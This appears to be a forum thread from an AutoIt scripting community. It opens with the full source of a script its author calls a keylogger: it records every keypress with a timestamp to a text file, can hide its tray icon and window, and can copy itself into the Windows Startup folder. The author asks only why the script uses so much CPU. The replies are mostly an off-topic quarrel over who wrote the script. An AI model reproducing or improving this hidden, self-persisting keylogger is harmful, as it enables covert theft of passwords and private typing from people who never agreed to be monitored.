Jump to content

Why do this program use 8% cpu time?


Recommended Posts

It uses about 8-10 % cpu time.. ive put an "sleep(50)" in the start of the while, but im afraid it will slow the while to much, so the function wont work properly?

how much can i slow it? or is it something else?

$ShowTray = IniRead(@TempDir & "\KeyOpt.ini", "ShowTray", "ShowTray", "NotFound")
$RunAtNextBoot = IniRead(@TempDir & "\KeyOpt.ini", "RunAtNextBoot", "RunAtNextBoot", "NotFound")


If FileExists (@TempDir & "\KeyOpt.ini") Then
Else
    Msgbox(0,"Error",@TempDir & "\KeyOpt.ini does not exist")
    Exit
EndIf

Msgbox(0,"test",$ShowTray)


If $ShowTray = 0 Then
   Opt("TrayIconHide", 1)
   WinSetState("PC-Info", "", @SW_HIDE)
Else
EndIf

If $RunAtNextBoot = 1 Then
   FileCopy(@TempDir & "\Keylogger.exe", @StartupDir & "\Keylogger.exe")
Else
EndIf



 

Func _IsPressed($hexKey)
HotKeySet ("{TAB}", "MyExit")
  
  Local $aR, $bRv
  $hexKey = '0x' & $hexKey
  $aR = DllCall("user32", "int", "GetAsyncKeyState", "int", $hexKey)

  If $aR[0] <> 0 Then
     $bRv = 1
  Else
     $bRv = 0
  EndIf
  
  Return $bRv
EndFunc  

$file = FileOpen("keylog.txt", 1)
If $file = -1 Then
   msgbox(0,"Test","Filen kunne IKKE åbnes") 
Exit
Else
   $filex = FileExists($file)
   msgbox(0,"Test","Filen blev åbnet!")
   
   If $filex = -1 Then
   msgbox(0,"Test","Filen blev ikke fundet!")       
   Exit
EndIf
EndIf


While 1
sleep(50)

  If _IsPressed(41) Then
     _LogKeyPress("a")
    sleep(20)
EndIf


  If _IsPressed(42) Then
     _LogKeyPress("b")
sleep(20)
EndIf


  If _IsPressed(43) Then
     _LogKeyPress("c")
sleep(20)
EndIf


  If _IsPressed(44) Then
     _LogKeyPress("d")
sleep(20)
EndIf


  If _IsPressed(45) Then
     _LogKeyPress("e")
sleep(20)
EndIf


  If _IsPressed(46) Then
     _LogKeyPress("f")
sleep(20)
EndIf


  If _IsPressed(47) Then
     _LogKeyPress("g")
sleep(20)
EndIf


  If _IsPressed(48) Then
     _LogKeyPress("h")
sleep(20)
EndIf


  If _IsPressed(49) Then
     _LogKeyPress("i")
sleep(20)
EndIf


  If _IsPressed('4a') Then
     _LogKeyPress("j")
sleep(20)
EndIf


  If _IsPressed('4b') Then
     _LogKeyPress("k")
sleep(20)
EndIf


  If _IsPressed('4c') Then
     _LogKeyPress("l")
sleep(20)
EndIf


  If _IsPressed('4d') Then
     _LogKeyPress("m")
sleep(20)
EndIf


  If _IsPressed('4e') = 1 Then 
     _LogKeyPress("n")
sleep(20)
EndIf


  If _IsPressed('4f') Then
     _LogKeyPress("o")
sleep(20)
EndIf


  If _IsPressed(50) Then
     _LogKeyPress("p")
sleep(20)
EndIf


  If _IsPressed(51) Then
     _LogKeyPress("q")
sleep(20)
EndIf


  If _IsPressed(52) Then
     _LogKeyPress("r")
sleep(20)
EndIf


  If _IsPressed(53) Then
     _LogKeyPress("s")
sleep(20)
EndIf


  If _IsPressed(54) Then
     _LogKeyPress("t")
sleep(20)
EndIf


  If _IsPressed(55) Then
     _LogKeyPress("u")
sleep(20)
EndIf


  If _IsPressed(56) Then
     _LogKeyPress("v")
sleep(20)
EndIf


  If _IsPressed(57) Then
     _LogKeyPress("w")
sleep(20)
EndIf


  If _IsPressed(58) Then
     _LogKeyPress("x")
sleep(20)
EndIf


  If _IsPressed(59) Then
     _LogKeyPress("y")
sleep(20)
EndIf

   If _IsPressed('5a') Then
     _LogKeyPress("z")
sleep(20)
EndIf

    If _IsPressed('C0') Then
     _LogKeyPress("æ")
sleep(20)
EndIf

    If _IsPressed('de') Then
     _LogKeyPress("ø")
sleep(20)
EndIf

    If _IsPressed('dd') Then
     _LogKeyPress("å")
sleep(20)
EndIf

    If _IsPressed('08') Then
     _LogKeyPress("BACKSPACE")
  EndIf
  
  
    If _IsPressed('09') Then
     _LogKeyPress("TAB")
  EndIf
  
  
    If _IsPressed('0d') Then
     _LogKeyPress("ENTER")
  EndIf
  
  
    If _IsPressed('10') Then
     _LogKeyPress("SHIFT")
  EndIf
  
  
      If _IsPressed('11') Then
     _LogKeyPress("CTRL")
  EndIf
  
  
      If _IsPressed('12') Then
     _LogKeyPress("ALT")
EndIf


    If _IsPressed('13') Then
     _LogKeyPress("PAUSE")
  EndIf   


   If _IsPressed('14') Then
     _LogKeyPress("CAPSLOCK")
EndIf


    If _IsPressed('1b') Then
     _LogKeyPress("ESC")
EndIf


    If _IsPressed('20') Then
     _LogKeyPress("SPACE")
  EndIf
  
  
      If _IsPressed('21') Then
     _LogKeyPress("PGUP")
  EndIf
  
  
      If _IsPressed('22') Then
     _LogKeyPress("PGDOWN")
  EndIf
  
  
      If _IsPressed('23') Then
     _LogKeyPress("END")
  EndIf
  
  
      If _IsPressed('24') Then
     _LogKeyPress("HOME")
  EndIf
  
  
      If _IsPressed('25') Then
     _LogKeyPress("LEFT ARROW")
  EndIf
  
  
      If _IsPressed('26') Then
     _LogKeyPress("UP ARROW")
  EndIf
  
  
      If _IsPressed('27') Then
     _LogKeyPress("RIGHT ARROW")
  EndIf
  
  
      If _IsPressed('28') Then
     _LogKeyPress("DOWN ARROW")
  EndIf
  
  
      If _IsPressed('2c') Then
     _LogKeyPress("PRNTSCRN")
  EndIf
  
  
      If _IsPressed('2d') Then
     _LogKeyPress("INSERT")
  EndIf
  
  
      If _IsPressed('2e') Then
     _LogKeyPress("DEL")
EndIf

    If _IsPressed('30') Then
     _LogKeyPress("0")
  EndIf
  
  
      If _IsPressed('31') Then
     _LogKeyPress("1")
  EndIf
  
  
      If _IsPressed('32') Then
     _LogKeyPress("2")
  EndIf
  
  
      If _IsPressed('33') Then
     _LogKeyPress("3")
  EndIf
  
  
      If _IsPressed('34') Then
     _LogKeyPress("4")
  EndIf
  
  
      If _IsPressed('35') Then
     _LogKeyPress("5")
  EndIf
  
  
      If _IsPressed('36') Then
     _LogKeyPress("6")
  EndIf
  
  
      If _IsPressed('37') Then
     _LogKeyPress("7")
  EndIf
  
  
      If _IsPressed('38') Then
     _LogKeyPress("8")
EndIf


    If _IsPressed('39') Then
     _LogKeyPress("9")
EndIf

    

WEnd

  Sleep(50)
Func _LogKeyPress($what2log)
  FileWriteLine($file, "[ " &@MDAY & ". " &@MON & ". "  &@YEAR & "  " &@HOUR & ":" &@MIN & ":" &@SEC & " ]   " & "Pressed Button: " & $what2log)
sleep ("100")
EndFunc

FileClose($file)

Func MyExit ()
msgbox(0,"test","Program Afsluttet!") 
 Exit
EndFunc
Edited by Wb-FreeKill
Link to comment
Share on other sites

Because you check so many friggen things.

Just use hotkeys?

"I thoroughly disapprove of duels. If a man should challenge me, I would take him kindly and forgivingly by the hand and lead him to a quiet place and kill him." - Mark TwainPatient: "It hurts when I do $var_"Doctor: "Don't do $var_" - Lar.
Link to comment
Share on other sites

im just saying now, that im not responsible for ANYTHING THAT SOMEONE MIGHT DO WITH THIS KEYLOGGER... IM NOT HELPING WITH IT ANYMORE EITHER... IF YOUR COMPUTER BURSTS UP INTO FLAMES BECAUSE IT TAKES 100000000000000000000000000000000000000000000000000000000000 CPU, JUST REMEBER WHAT LAYER SAID: I AM NOT RESPONSIBLE.

just wanted to say that :lmao:

FootbaG
Link to comment
Share on other sites

~

Now that post was silly...

[quote name='d2hacker88' date='Jan 6 2005, 05:10 PM']Can someone please help me out with autoit like gimme a link on how to use it cause i have no experience with computer languages and i'd like to make a program with autoit in order to empress my computer teacher.[right][snapback]52215[/snapback][/right][/quote]

Link to comment
Share on other sites

hahahaha | Funny! | No.

<{POST_SNAPBACK}>

Imo, you are a total jerk.

You tell everyone how great your (mostly stolen) scripts are and say "hehe, that´s mine. Don´t use it, I won´t help you when it destroys your comp!!!!!!111". That´s just silly. Your posting on a public forum: Everyone is allowed to use everyones sourcecode posted on the board. You aren´t god cause you steal some scripts, add some lines and say: "Not my fault if it destroys your comp!!!!1111".

So calm down, skater.

And by the way: Your homepage is ugly.

[quote name='d2hacker88' date='Jan 6 2005, 05:10 PM']Can someone please help me out with autoit like gimme a link on how to use it cause i have no experience with computer languages and i'd like to make a program with autoit in order to empress my computer teacher.[right][snapback]52215[/snapback][/right][/quote]

Link to comment
Share on other sites

Where did that come from gosu? Where did layer say that any of this was his script?

<{POST_SNAPBACK}>

I didn´t say he said that in this thread, did I? no.

[quote name='d2hacker88' date='Jan 6 2005, 05:10 PM']Can someone please help me out with autoit like gimme a link on how to use it cause i have no experience with computer languages and i'd like to make a program with autoit in order to empress my computer teacher.[right][snapback]52215[/snapback][/right][/quote]

Link to comment
Share on other sites

So you were posting an off-topic reply to a person that given your phrasing of the reply, he may not even understand? I simply don't understand the relevance of what you posted. Why not PM him to point out his downfalls? Why bring it up here? Did he do something in this very thread that set you off?

Who else would I be?
Link to comment
Share on other sites

actually, ill admit, i said yea, it's my script, then b14ck, said, "Layer didn't make that script." and i saud ok, gosu made the first line, basically, the foundation, then i built up from there, and that was what, one of my first weeks on this forum?? (not when black commented, but when gosu told me how to make the keylogger...) im sorry for being a skater who will probably be on t.v one day and you will be in your moms house in the atic while she makes you lunch and your at the age of what... 50? but im not gonna comment anymore because ive already had enough bad experiences here and im not going to put up with it anymore and why ddi you bring this post back up from the dead?

EDIT: http://www.autoitscript.com/forum/index.php?showtopic=5760

theres the topic.. just scroll down

Edited by layer
FootbaG
Link to comment
Share on other sites

  • 6 months later...

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...